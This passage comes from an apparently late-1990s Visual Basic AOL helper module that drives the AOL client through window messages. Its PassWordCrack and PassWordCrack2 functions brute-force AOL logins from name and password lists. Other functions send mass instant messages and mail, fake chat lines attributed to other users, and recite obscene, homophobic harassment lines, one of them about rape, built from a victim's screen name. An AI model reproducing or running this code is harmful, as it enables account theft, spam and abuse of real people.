  6043. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6044. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>ANTARA X'er</font>")
  6045. TimeOut 0.8
  6046. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>Gi<s>ZZ</s>mo</font>")
  6047. TimeOut 0.7
  6048. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>" & Person$ & " ignored.</font>")
  6049. Else
  6050. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>ANTARA X'er</font>")
  6051. TimeOut 0.8
  6052. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>Gi<s>ZZ</s>mo</font>")
  6053. TimeOut 0.7
  6054. Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>" & LCase(InsName) & " not found in chat</font>")
  6055. End If
  6056.   Edi% = FindChatEdit
  6057.   makesure = SendMessageByNum(Edi%, 13, 0, 0&)
  6058. End If
  6059. End Sub
  6060.  
  6061. Sub ChatUnIgnore(name As String)
  6062. On Error Resume Next
  6063.  
  6064. Dim AProc As Long
  6065. Dim Holdit As Long
  6066. Dim Person As String
  6067. Dim Holdthem As Long
  6068. Dim Howmnybts As Long
  6069. Dim Chil%, Rich%
  6070. aol% = FindWindow("AOL Frame25", vbNullString)
  6071. mdi% = FindChildByClass(aol%, "MDIClient")
  6072. Chil% = FindChat
  6073. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6074. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6075.  
  6076.  
  6077. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6078. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6079.  
  6080. If AOLProcessThread Then
  6081. For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6082. Person$ = String$(4, vbNullChar)
  6083. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&)
  6084. Holdit = Holdit + 24
  6085. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6086.                         
  6087. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6088. Holdthem = Holdthem + 6
  6089.  
  6090. Person$ = String$(16, vbNullChar)
  6091. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6092.  
  6093. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6094. If LCase(Person$) = LCase(name) Then
  6095. clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&)
  6096. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6097.         Do: DoEvents
  6098.             TIT% = findchildbytitle(mdi%, Person$)
  6099.                 Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6100.             If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6101.         Loop
  6102.  
  6103.             Do: DoEvents
  6104.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  6105.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6106.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0&, 0&)
  6107.                         If GetIt% = 0 Then Exit Do
  6108.                         Loop
  6109.                         closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6110.                     Exit Sub
  6111.             End If
  6112.  
  6113.  
  6114. Next I
  6115. End If
  6116. End Sub
  6117.  
  6118. Function AOL30_LastChatLine()
  6119. aol% = FindWindow("AOL Frame25", vbNullString)
  6120. mdi% = FindChildByClass(aol%, "MDIClient")
  6121. Chil% = FindChildByClass(mdi%, "AOL Child")
  6122. View% = FindChildByClass(Chil%, "_AOL_View")
  6123. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6124. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  6125. If View% <> 0 And lis% <> 0 And Edi% <> 0 Then
  6126. SendNum = SendMessageByNum(View%, 14, 0&, 0&)
  6127. Trimit$ = Space$(SendNum)
  6128. last = SendMessageByString(View%, 13, SendNum + 1, Trimit$)
  6129.  
  6130. Richcntl$ = Trimit$
  6131. X$ = Richcntl$
  6132.  
  6133. For I = 1 To Len(X$)
  6134. one$ = Mid(X$, I, 1)
  6135. LastLine$ = LastLine$ & one$
  6136. If one$ = Chr(13) Then Let LastLine$ = ""
  6137. Next I
  6138.  
  6139. Final$ = Mid(LastLine$, 2, Len(LastLine$))
  6140. AOL30_LastChatLine = Final$
  6141.  
  6142. End If
  6143. End Function
  6144.  
  6145.  
  6146.  
  6147. Function ImAutoRespond(Message As String)
  6148.  
  6149. 'put this in a timer
  6150. 'also it blocks the person that sent a mesage
  6151. On Error Resume Next
  6152. aol% = FindWindow("AOL Frame25", vbNullString)
  6153. mdi% = FindChildByClass(aol%, "MDIClient")
  6154. TIT% = findchildbytitle(mdi%, ">Instant Message From:")
  6155. tit2% = findchildbytitle(mdi%, " Instant Message From:")
  6156. If TIT% <> 0 Then
  6157. TName$ = SNfromIM
  6158. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6159. Call InstantMessage2(TName$, Message, 0.5) 'gonna make it oen a new one
  6160. ElseIf tit2% <> 0 Then
  6161. TName$ = SNfromIM
  6162. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  6163. Call InstantMessage2(TName$, Message, 0.5)
  6164. End If
  6165. End Function
  6166.  
  6167. Function IMUnIgnore(Who As String)
  6168.  
  6169. Call InstantMessage2("$im_on " & Who, Plug, 0.5)
  6170. Do: DoEvents
  6171. win% = FindWindow("#32770", vbNullString)
  6172. If win% <> 0 Then Exit Do
  6173. Loop
  6174. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  6175.     aol% = FindWindow("AOL Frame25", vbNullString)
  6176.     mdi% = FindChildByClass(aol%, "MDIClient")
  6177.     TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6178. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6179. Call ClearKeyWord
  6180.  
  6181. End Function
  6182. Function IMIgnore(Who As String)
  6183.  
  6184. Call InstantMessage2("$im_off " & Who, Plug, 0.5)
  6185. Do: DoEvents
  6186. win% = FindWindow("#32770", vbNullString)
  6187. If win% <> 0 Then Exit Do
  6188. Loop
  6189. closeit = SendMessage(win%, WM_CLOSE, 0, 0&)
  6190.     aol% = FindWindow("AOL Frame25", vbNullString)
  6191.     mdi% = FindChildByClass(aol%, "MDIClient")
  6192.     TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6193. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6194. Call ClearKeyWord
  6195.  
  6196. End Function
  6197.  
  6198. Function massim(lis As ListBox, Message As String)
  6199. aol% = FindWindow("AOL Frame25", vbNullString)
  6200. mdi% = FindChildByClass(aol%, "MDIClient")
  6201. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6202. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6203. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6204. For X = 0 To lis.ListCount
  6205. Call InstantMessage2(lis.List(X), Message, 1)
  6206. Wait (0.5)
  6207. If TIT% <> 0 Then
  6208. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6209. End If
  6210. Wait (0.5)
  6211. Call ToImKill
  6212. Next X
  6213.  
  6214. End Function
  6215. Function MassIm2(lis As ListBox, Message As String)
  6216. 'this version adds the "What up" and there
  6217. 'screen name
  6218. aol% = FindWindow("AOL Frame25", vbNullString)
  6219. mdi% = FindChildByClass(aol%, "MDIClient")
  6220. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6221. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6222. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6223. For X = 0 To lis.ListCount
  6224. Call InstantMessage2(lis.List(X), "What up " & lis.List(X) & " " & Message, 1)
  6225. Wait (0.5)
  6226. If TIT% <> 0 Then
  6227. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6228. End If
  6229. Wait (0.5)
  6230. Call ToImKill
  6231. Next X
  6232.  
  6233. End Function
  6234.  
  6235.  
  6236. Function MassIm3(lis As ListBox, Message As String)
  6237. 'this version adds the "What up" and there
  6238. 'screen name but takes #'s off the screen name
  6239. 'so instead of "What up John4516" itll say
  6240. '"What up John" ,told ya that would come in handy
  6241. aol% = FindWindow("AOL Frame25", vbNullString)
  6242. mdi% = FindChildByClass(aol%, "MDIClient")
  6243. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6244. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6245. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6246. For X = 0 To lis.ListCount
  6247. Trimmed$ = TrimNumbers(lis.List(X))
  6248. Call InstantMessage2(lis.List(X), "What up " & Trimmed$ & " " & Message, 1)
  6249. Wait (0.5)
  6250. If TIT% <> 0 Then
  6251. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6252. End If
  6253. Wait (0.5)
  6254. Call ToImKill
  6255. Wait (0.5)
  6256. Next X
  6257.  
  6258. End Function
  6259. Function MassIm4(lis As ListBox, Message As String)
  6260. 'same as 3 except adds % done on bottom
  6261. On Error Resume Next
  6262. aol% = FindWindow("AOL Frame25", vbNullString)
  6263. mdi% = FindChildByClass(aol%, "MDIClient")
  6264. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6265. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6266. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6267.  
  6268. Dim perc As Integer
  6269. For X = 0 To lis.ListCount
  6270. Trimmed$ = TrimNumbers(lis.List(X))
  6271. I = 100 / lis.ListCount
  6272. perc = I * X
  6273. Call InstantMessage2(lis.List(X), "What up, " & Trimmed$ & " " & Message & Chr(13) & Chr(9) & "        " & perc & "% Done", 1)
  6274. Wait (0.5)
  6275. If TIT% <> 0 Then
  6276. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6277. End If
  6278. Wait (0.5)
  6279. Call ToImKill
  6280. Next X
  6281.  
  6282. End Function
  6283.  
  6284. Function MassMail(lis As ListBox, Subj As String, Message As String)
  6285. First$ = lis.List(0)
  6286. For X = 1 To lis.ListCount
  6287. Names$ = Names$ & lis.List(X) & ","
  6288. Next X
  6289. Call MyMailx(First$, Names$, Subj, Message)
  6290.  
  6291. End Function
  6292.  
  6293. Function PassWordCrack(NameList As ListBox, PWList As ListBox, Cracked As ListBox)
  6294. 'example: Call PassWordCrack(list1,list2,List3)
  6295. Dim ChkEven
  6296. Dim Times, Pass, name As Integer
  6297. If OnlineOrNot = True Then
  6298.     MsgBox ("Must be OffLine for this feature.")
  6299.         Exit Function
  6300.     End If
  6301.   ChkEven = (PWList.ListCount / 2) 'check to see if its even
  6302. If InStr(ChkEven, ".") <> 0 Then 'look for . in .5
  6303. PWList.AddItem "default" 'add item to make list even
  6304.   End If 'please leave this code, uneven listboxes will cause error
  6305. For name = 0 To NameList.ListCount - 1 'Take next name in list
  6306. For Pass = 0 To PWList.ListCount - 1 Step 2 'Take next Password from list
  6307.     
  6308. Do: DoEvents
  6309.     If OnlineOrNot = True Then
  6310. 'CRACKED!!!!!!!!!!!!!!!
  6311. Cracked.AddItem "sn=" & NameList.List(name) & " pw=" & PWList.List(Pass)
  6312. Call signoff
  6313.      End If
  6314. aol% = FindWindow("AOL Frame25", vbNullString)
  6315. mdi% = FindChildByClass(aol%, "MDIClient")
  6316. tit1% = findchildbytitle(mdi%, "Sign On")
  6317. tit2% = findchildbytitle(mdi%, "Goodbye from America Online!")
  6318.     If tit1% <> 0 Then
  6319.         TIT% = tit1%
  6320.     ElseIf tit2% <> 0 Then
  6321.         TIT% = tit2%
  6322.     End If
  6323.  
  6324. Combo% = FindChildByClass(TIT%, "_AOL_Combobox")
  6325. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6326. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6327. If Combo% <> 0 And Icona% <> 0 Then Exit Do
  6328. Loop
  6329. '''''''''''''''''''''''''''''''''''''''''''''''''
  6330. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6331. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6332. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6333. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6334.     If Edi% <> 0 Then
  6335. For I = 1 To 6
  6336. X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0)
  6337. X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0)
  6338. Wait (0.2)
  6339. Next I
  6340.     End If
  6341.    Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6342.         Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6343.             
  6344.             
  6345.             SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6346.             SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6347. '''''''''''''''''''''''''''''''''''''''''''''''''
  6348. Call WaitForModal
  6349. Wait (0.2)
  6350. Modal% = FindWindow("_AOL_Modal", vbNullString)
  6351. stat% = FindChildByClass(Modal%, "_AOL_Static")
  6352. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  6353. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  6354.     edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6355.         edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6356. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6357. MainName$ = NameList.List(name)
  6358. NameList.Selected(name) = True
  6359. CurrPassword$ = PWList.List(Pass)
  6360. PWList.Selected(Pass) = True
  6361. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6362. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password
  6363.  
  6364. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6365. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6366. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6367. Wait (1)
  6368. an% = FindWindow("#32770", vbNullString)
  6369. Wait (0.4)
  6370. If an% <> 0 Then
  6371. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6372. CurrPassword2$ = PWList.List(Val(Pass) + 1)
  6373. PWList.Selected(Val(Pass) + 1) = True
  6374. Wait (0.5)
  6375. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6376. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password
  6377. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6378. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6379. Wait (0.5)
  6380. If an% <> 0 Then
  6381. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6382. End If
  6383. End If
  6384. Wait (0.5)
  6385. Next Pass 'Take next password, hold same name
  6386. Next name 'Password list done, take next name
  6387.  
  6388. End Function
  6389. Function PassWordCrack2(NameList As ListBox, PWList As ListBox, Cracked As ListBox)
  6390. 'example: Call PassWordCrack2(list1,list2,List3)
  6391. Dim ChkEven
  6392. Dim Times, Pass, name As Integer
  6393. If OnlineOrNot = True Then
  6394.     MsgBox ("Must be OffLine for this feature.")
  6395.         Exit Function
  6396.     End If
  6397.    ChkEven = (PWList.ListCount / 2)
  6398. If InStr(ChkEven, ".") <> 0 Then
  6399. PWList.AddItem "default"
  6400.   End If
  6401.  
  6402. For name = 0 To NameList.ListCount - 1
  6403. For Pass = 0 To PWList.ListCount - 1 Step 2
  6404.     
  6405. Do: DoEvents
  6406.      If OnlineOrNot = True Then
  6407. 'CRACKED!!!!!!!!!!!!!!!
  6408. Cracked.AddItem "sn=" & NameList.List(name) & " pw=" & PWList.List(Pass)
  6409. Call signoff
  6410.      End If
  6411. aol% = FindWindow("AOL Frame25", vbNullString)
  6412. mdi% = FindChildByClass(aol%, "MDIClient")
  6413. tit1% = findchildbytitle(mdi%, "Sign On")
  6414. tit2% = findchildbytitle(mdi%, "Goodbye from America Online!")
  6415.     If tit1% <> 0 Then
  6416.         TIT% = tit1%
  6417.     ElseIf tit2% <> 0 Then
  6418.         TIT% = tit2%
  6419.     End If
  6420.  
  6421. Combo% = FindChildByClass(TIT%, "_AOL_Combobox")
  6422. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6423. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6424. If Combo% <> 0 And Icona% <> 0 Then Exit Do
  6425. Loop
  6426. '''''''''''''''''''''''''''''''''''''''''''''''''
  6427. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6428. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6429. X = SendMessage(Combo%, WM_LBUTTONDOWN, 0, 0&)
  6430. X = SendMessage(Combo%, WM_LBUTTONUP, 0, 0&)
  6431.     If Edi% <> 0 Then
  6432. For I = 1 To 6
  6433. X = SendMessageByNum(Combo%, WM_KEYDOWN, VK_RIGHT, 0)
  6434. X = SendMessageByNum(Combo%, WM_KEYUP, VK_RIGHT, 0)
  6435. Wait (0.2)
  6436. Next I
  6437.     End If
  6438.    Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6439.         Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6440.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6441.             
  6442.             SignOn = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6443.             SignOn = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6444. '''''''''''''''''''''''''''''''''''''''''''''''''
  6445. Call WaitForModal
  6446. Wait (0.2)
  6447. Modal% = FindWindow("_AOL_Modal", vbNullString)
  6448. stat% = FindChildByClass(Modal%, "_AOL_Static")
  6449. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  6450. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  6451.     edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6452.         edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6453. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6454. MainName$ = NameList.List(name)
  6455. NameList.Selected(name) = True
  6456. CurrPassword$ = PWList.List(Pass)
  6457. PWList.Selected(Pass) = True
  6458. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6459. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword$) 'Write next password
  6460.  
  6461. ''''''''''''''''''''''''''''''''''''''''''''''''''
  6462. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6463. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6464. Wait (1)
  6465. an% = FindWindow("#32770", vbNullString)
  6466. Wait (0.4)
  6467. If an% <> 0 Then
  6468. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6469. CurrPassword2$ = PWList.List(Val(Pass) + 1)
  6470. PWList.Selected(Val(Pass) + 1) = True
  6471. Wait (0.5)
  6472. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, MainName$) 'Write current name
  6473. fillit = SendMessageByString(edi3%, WM_SETTEXT, 0, CurrPassword2$) 'Write next password
  6474. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6475. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6476. Wait (0.5)
  6477. If an% <> 0 Then
  6478. X = SendMessage(an%, WM_CLOSE, 0, 0&)
  6479. End If
  6480. End If
  6481. Wait (0.5)
  6482. Next Pass 'Take next password, hold same name
  6483. Next name 'Password list done, take next name
  6484.  
  6485. End Function
  6486.  
  6487.  
  6488. Function Bot_Request()
  6489. 'use in a timer, in a button send to chat that
  6490. 'the bot is on and what your requesting
  6491. 'then turn the timer on ,ex. timer1.enabled = true
  6492.  
  6493. Dim Nam As String
  6494. Dim txt As String
  6495. Dim lst As String
  6496. Nam$ = LastLineSN
  6497. txt$ = LCase(LastLineText)
  6498. lst$ = List1
  6499. If txt$ = "/i got it" Then
  6500. Call ErrorRsenD("<font face=aria></b></i><Font Color=#FF0000>[<u>nam$ -can you send?</font>")
  6501. Wait (0.5)
  6502. End If
  6503.  
  6504. End Function
  6505.  
  6506.  
  6507. Function ChatManipulate(Who As String, Wat As String)
  6508. 'this manipulates to the top of the screen ;o(
  6509. 'yea i know but 4.0 wont let ya do it on the bottom
  6510. 'i tried hard ,,Very hard..
  6511. Dim Chil%, Rich%, X
  6512. Chil% = FindChat
  6513. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6514.  
  6515. X = SendMessageByString(Rich%, WM_SETTEXT, 0, Who & ":" & Chr(9) & Wat)
  6516.  
  6517. End Function
  6518.  
  6519.  
  6520. Function ChatRespond(LookFor As String, Response As String)
  6521. txt$ = LastLineText
  6522. Nam$ = LastLineSN
  6523. If InStr(LCase(txt$), LCase(LookFor)) Then
  6524. gotone$ = Nam$
  6525. If gotone$ = GetUserSn Then
  6526. Exit Function
  6527. End If
  6528. Call SendChat(gotone$ & "  " & Response)
  6529. Wait (0.5)
  6530. End If
  6531.  
  6532. End Function
  6533. Function ChatRespond2(LookFor As String, Response As String)
  6534. 'this one will respond even if its you
  6535. 'obviously with this one dont add the string
  6536. 'that your looking for in the response
  6537. 'ie. dont do this-- Call ChatRespond2("HI","HI MAN")
  6538. 'or else itll scroll
  6539. txt$ = LastLineText
  6540. Nam$ = LastLineSN
  6541. If InStr(LCase(txt$), LCase(LookFor)) Then
  6542. gotone$ = Nam$
  6543. Call SendChat(gotone$ & "  " & Response)
  6544. Wait (0.5)
  6545. End If
  6546.  
  6547. End Function
  6548.  
  6549. Function ClearKeyWord()
  6550. 'this is a function for me to clear the
  6551. 'keyword textbox after writing to it
  6552. aol% = FindWindow("AOL Frame25", vbNullString)
  6553. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6554. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6555. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  6556. Edi% = FindChildByClass(Comb%, "Edit")
  6557.  
  6558.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "")
  6559. End Function
  6560.  
  6561. Function InRoom() As Boolean
  6562. 'checks to see if there in a room
  6563. 'no loop, good for use on advertising
  6564. 'sometimes a program will freeze if there
  6565. 'not in a room an u tell it to advertise
  6566. Dim Chil%
  6567. Dim inRoomTF As Boolean
  6568. Chil% = FindChat
  6569. If Chil% <> 0 Then
  6570. inRoomTF = True
  6571. Else
  6572. inRoomTF = False
  6573. End If
  6574. InRoom = inRoomTF
  6575. End Function
  6576.  
  6577. Function AOL30_MailSend(Who, Subj, Wat)
  6578. aol% = FindWindow("AOL Frame25", vbNullString)
  6579.  
  6580. Call RunMenuByString(aol%, "&Compose Mail")
  6581.  
  6582. Do: DoEvents
  6583. mdi% = FindChildByClass(aol%, "MDIClient")
  6584. Titl% = findchildbytitle(mdi%, "Compose Mail")
  6585. Icona% = FindChildByClass(Titl%, "_AOL_Icon")
  6586. Edi% = FindChildByClass(Titl%, "_AOL_Edit")
  6587. Rich% = FindChildByClass(Titl%, "RICHCNTL")
  6588. If Titl% <> 0 And Icona% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  6589. Loop
  6590. FILL = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  6591.    edi2% = GetWindow(Edi%, GW_HWNDNEXT)
  6592.      edi3% = GetWindow(edi2%, GW_HWNDNEXT)
  6593.       edi4% = GetWindow(edi3%, GW_HWNDNEXT)
  6594.           edi5% = GetWindow(edi4%, GW_HWNDNEXT)
  6595. FILL = SendMessageByString(edi5%, WM_SETTEXT, 0, Subj)
  6596. FILL = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6597.  
  6598. End Function
  6599.  
  6600.  
  6601. Function ErrorRScreenNameDis(Nam As String)
  6602. Call ErrorRsenD("Screen Name Disser now dissing " & Nam)
  6603. Wait (0.5)
  6604. For X = 1 To Len(Nam)
  6605. lcse$ = LCase(Nam)
  6606. letr$ = Mid(lcse$, X, 1)
  6607. If letr$ = "a" Then Let dis$ = "<Font Color=#D40000><b>a -is for the animals your momma fucks": GoTo Dissem
  6608. If letr$ = "b" Then Let dis$ = "<Font Color=#D40000><b>b -is for all the boys you love": GoTo Dissem
  6609. If letr$ = "c" Then Let dis$ = "<Font Color=#D40000><b>c -is for the cunt you are": GoTo Dissem
  6610. If letr$ = "d" Then Let dis$ = "<Font Color=#D40000><b>d -is for all the times your dissed": GoTo Dissem
  6611. If letr$ = "e" Then Let dis$ = "<Font Color=#D40000><b>e -is for that egghead of yours": GoTo Dissem
  6612. If letr$ = "f" Then Let dis$ = "<Font Color=#D40000><b>f -is for the way FreaK smackz ya": GoTo Dissem
  6613. If letr$ = "g" Then Let dis$ = "<Font Color=#D40000><b>g -is for the pussy you never had": GoTo Dissem
  6614. If letr$ = "h" Then Let dis$ = "<Font Color=#D40000><b>h -is for the whore your momma is": GoTo Dissem
  6615. If letr$ = "i" Then Let dis$ = "<Font Color=#D40000><b>i -is for the idiotic dumbass you are": GoTo Dissem
  6616. If letr$ = "j" Then Let dis$ = "<Font Color=#D40000><b>j -is for all the times you jerkoff to your dog": GoTo Dissem
  6617. If letr$ = "k" Then Let dis$ = "<Font Color=#D40000><b>k -is for you self esteem that the cool kids killed": GoTo Dissem
  6618. If letr$ = "l" Then Let dis$ = "<Font Color=#D40000><b>l -is for the lame ass you are": GoTo Dissem
  6619. If letr$ = "m" Then Let dis$ = "<Font Color=#D40000><b>m -is for the many men you sucked": GoTo Dissem
  6620. If letr$ = "n" Then Let dis$ = "<Font Color=#D40000><b>n -is for the nights you spent stick a night stick up your ass": GoTo Dissem
  6621. If letr$ = "o" Then Let dis$ = "<Font Color=#D40000><b>o -is for the sex operation you had": GoTo Dissem
  6622. If letr$ = "p" Then Let dis$ = "<Font Color=#D40000><b>p -is for the times people p on you": GoTo Dissem
  6623. If letr$ = "q" Then Let dis$ = "<Font Color=#D40000><b>q -is for the queer you are": GoTo Dissem
  6624. If letr$ = "r" Then Let dis$ = "<Font Color=#D40000><b>r -is for all the times |2eV raped your sister": GoTo Dissem
  6625. If letr$ = "s" Then Let dis$ = "<Font Color=#D40000><b>s -is for your lover Steve Case": GoTo Dissem
  6626. If letr$ = "t" Then Let dis$ = "<Font Color=#D40000><b>t -is for the tits youll never see": GoTo Dissem
  6627. If letr$ = "u" Then Let dis$ = "<Font Color=#D40000><b>u -is for your underwear that you take shits on": GoTo Dissem
  6628. If letr$ = "v" Then Let dis$ = "<Font Color=#D40000><b>v -is for the victories you'll see": GoTo Dissem
  6629. If letr$ = "w" Then Let dis$ = "<Font Color=#D40000><b>w -is for the worm's you got up ur ass":  GoTo Dissem
  6630. If letr$ = "x" Then Let dis$ = "<Font Color=#D40000><b>x -is for all the lamers who" & Chr(34) & "[x]'ed" & Chr(34) & " you online": GoTo Dissem
  6631. If letr$ = "y" Then Let dis$ = "<Font Color=#D40000><b>y -is for the question of, y your even alive?": GoTo Dissem
  6632. If letr$ = "z" Then Let dis$ = "<Font Color=#D40000><b>z -is for zero which is what you are":  GoTo Dissem
  6633.  
  6634. If letr$ = "1" Then Let dis$ = "<Font Color=#D40000><b>1 -is for the only pussy you ever seen": GoTo Dissem
  6635. If letr$ = "2" Then Let dis$ = "<Font Color=#D40000><b>2 -is for the 2 dollars you make an hour": GoTo Dissem
  6636. If letr$ = "3" Then Let dis$ = "<Font Color=#D40000><b>3 -is for the amount of men your girl takes at once": GoTo Dissem
  6637. If letr$ = "4" Then Let dis$ = "<Font Color=#D40000><b>4 -is for your mom buying crack off me":  GoTo Dissem
  6638. If letr$ = "5" Then Let dis$ = "<Font Color=#D40000><b>5 -is for 5 times an hour you whack off": GoTo Dissem
  6639. If letr$ = "6" Then Let dis$ = "<Font Color=#D40000><b>6 -is for the years you been single": GoTo Dissem
  6640. If letr$ = "7" Then Let dis$ = "<Font Color=#D40000><b>7 -is for the times your girl cheated on you..with me": GoTo Dissem
  6641. If letr$ = "8" Then Let dis$ = "<Font Color=#D40000><b>8 -is for how many people beat the hell outta you today": GoTo Dissem
  6642. If letr$ = "9" Then Let dis$ = "<Font Color=#D40000><b>9 -is for how many boyfriends your momma has": GoTo Dissem
  6643. If letr$ = "0" Then Let dis$ = "<Font Color=#D40000><b>0 -is for the amount of girls you get": GoTo Dissem
  6644.  
  6645. Dissem:
  6646. Call ErrorRsenD(dis$)
  6647.  
  6648. Wait (0.5)
  6649. Next X
  6650.  
  6651. End Function
  6652. Function ChatFontSend(WatFont As String, txt As String)
  6653. 'the font is Case Sensative so try using
  6654. 'the idea i gave in the function to add
  6655. 'Fonts to a filelistbox
  6656. Call ErrorRsenD("<Font Face=" & Chr(34) & WatFont & Chr(34) & ">" & txt)
  6657. 'to use this in a normal way use
  6658. 'Call ChatFontSend("Wingdings", "blah blah blah")
  6659. ' or Call ChatFontSend(text1.text, "blah blah blah")
  6660. End Function
  6661.  
  6662. Function GetRoomTitle()
  6663. Dim RoomTit%, lent%, Titl%, Final$, Strn$
  6664. RoomTit% = FindChat
  6665.  
  6666. lent% = GetWindowTextLength(RoomTit%)
  6667. Strn$ = String$(200, 0)
  6668. Titl% = GetWindowText(RoomTit%, Strn$, (lent% + 1))
  6669. Final$ = CStr(Strn$)
  6670. GetRoomTitle = Final$
  6671.  
  6672. End Function
  6673. Function GetClass(child)
  6674. buffer$ = String$(250, 0)
